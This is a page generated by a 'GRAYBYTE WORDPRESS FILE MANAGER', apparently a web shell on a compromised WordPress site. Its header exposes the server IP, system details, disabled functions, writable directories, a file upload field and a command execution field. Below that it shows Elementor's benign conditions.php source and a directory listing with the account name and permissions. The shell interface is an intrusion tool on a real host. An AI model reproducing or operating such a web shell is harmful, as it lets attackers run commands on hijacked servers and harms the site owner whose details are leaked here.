GRAYBYTE WORDPRESS FILE MANAGER9195

Server IP : 162.213.255.40 / Your IP : 216.73.216.114
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/updraft/plugins-old/elementor/includes/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/updraft/plugins-old/elementor/includes//conditions.php
<?php
namespace Elementor;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor conditions.
 *
 * Elementor conditions handler class introduce the compare conditions and the
 * check conditions methods.
 *
 * @since 1.0.0
 */
class Conditions {

	/**
	 * Compare conditions.
	 *
	 * Whether the two values comply the comparison operator.
	 *
	 * @since 1.0.0
	 * @access public
	 * @static
	 *
	 * @param mixed  $left_value  First value to compare.
	 * @param mixed  $right_value Second value to compare.
	 * @param string $operator    Comparison operator.
	 *
	 * @return bool Whether the two values complies the comparison operator.
	 */
	public static function compare( $left_value, $right_value, $operator ) {
		switch ( $operator ) {
			case '==':
				return $left_value == $right_value;
			case '!=':
				return $left_value != $right_value;
			case '!==':
				return $left_value !== $right_value;
			case 'in':
				return in_array( $left_value, $right_value, true );
			case '!in':
				return ! in_array( $left_value, $right_value, true );
			case 'contains':
				return in_array( $right_value, $left_value, true );
			case '!contains':
				return ! in_array( $right_value, $left_value, true );
			case '<':
				return $left_value < $right_value;
			case '<=':
				return $left_value <= $right_value;
			case '>':
				return $left_value > $right_value;
			case '>=':
				return $left_value >= $right_value;
			default:
				return $left_value === $right_value;
		}
	}

	/**
	 * Check conditions.
	 *
	 * Whether the comparison conditions comply.
	 *
	 * @since 1.0.0
	 * @access public
	 * @static
	 *
	 * @param array $conditions The conditions to check.
	 * @param array $comparison The comparison parameter.
	 *
	 * @return bool Whether the comparison conditions comply.
	 */
	public static function check( array $conditions, array $comparison ) {
		$is_or_condition = isset( $conditions['relation'] ) && 'or' === $conditions['relation'];

		$condition_succeed = ! $is_or_condition;

		foreach ( $conditions['terms'] as $term ) {
			if ( ! empty( $term['terms'] ) ) {
				$comparison_result = self::check( $term, $comparison );
			} else {
				preg_match( '/(\w+)(?:\[(\w+)])?/', $term['name'], $parsed_name );

				$value = $comparison[ $parsed_name[1] ];

				if ( ! empty( $parsed_name[2] ) ) {
					$value = $value[ $parsed_name[2] ];
				}

				$operator = null;

				if ( ! empty( $term['operator'] ) ) {
					$operator = $term['operator'];
				}

				$comparison_result = self::compare( $value, $term['value'], $operator );
			}

			if ( $is_or_condition ) {
				if ( $comparison_result ) {
					return true;
				}
			} elseif ( ! $comparison_result ) {
				return false;
			}
		}

		return $condition_succeed;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
admin-templates
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
base
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
controls
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
editor-templates
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
elements
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
interfaces
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
libraries
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
managers
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
settings
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
template-library
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
widgets
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:27
hellrfbn / hellrfbn
0644
api.php
6.566 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
autoloader.php
9.277 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
beta-testers.php
2.987 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
compatibility.php
10.623 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
conditions.php
2.703 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
db.php
14.727 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
embed.php
8.331 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
fonts.php
62.179 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
frontend.php
37.98 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
heartbeat.php
2.573 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
maintenance-mode.php
11.129 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
maintenance.php
2.595 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
plugin.php
15.95 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
preview.php
7.465 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
rollback.php
3.635 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
shapes.php
6.408 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
stylesheet.php
8.908 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
tracker.php
15.579 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
user.php
9.879 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
utils.php
21.854 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF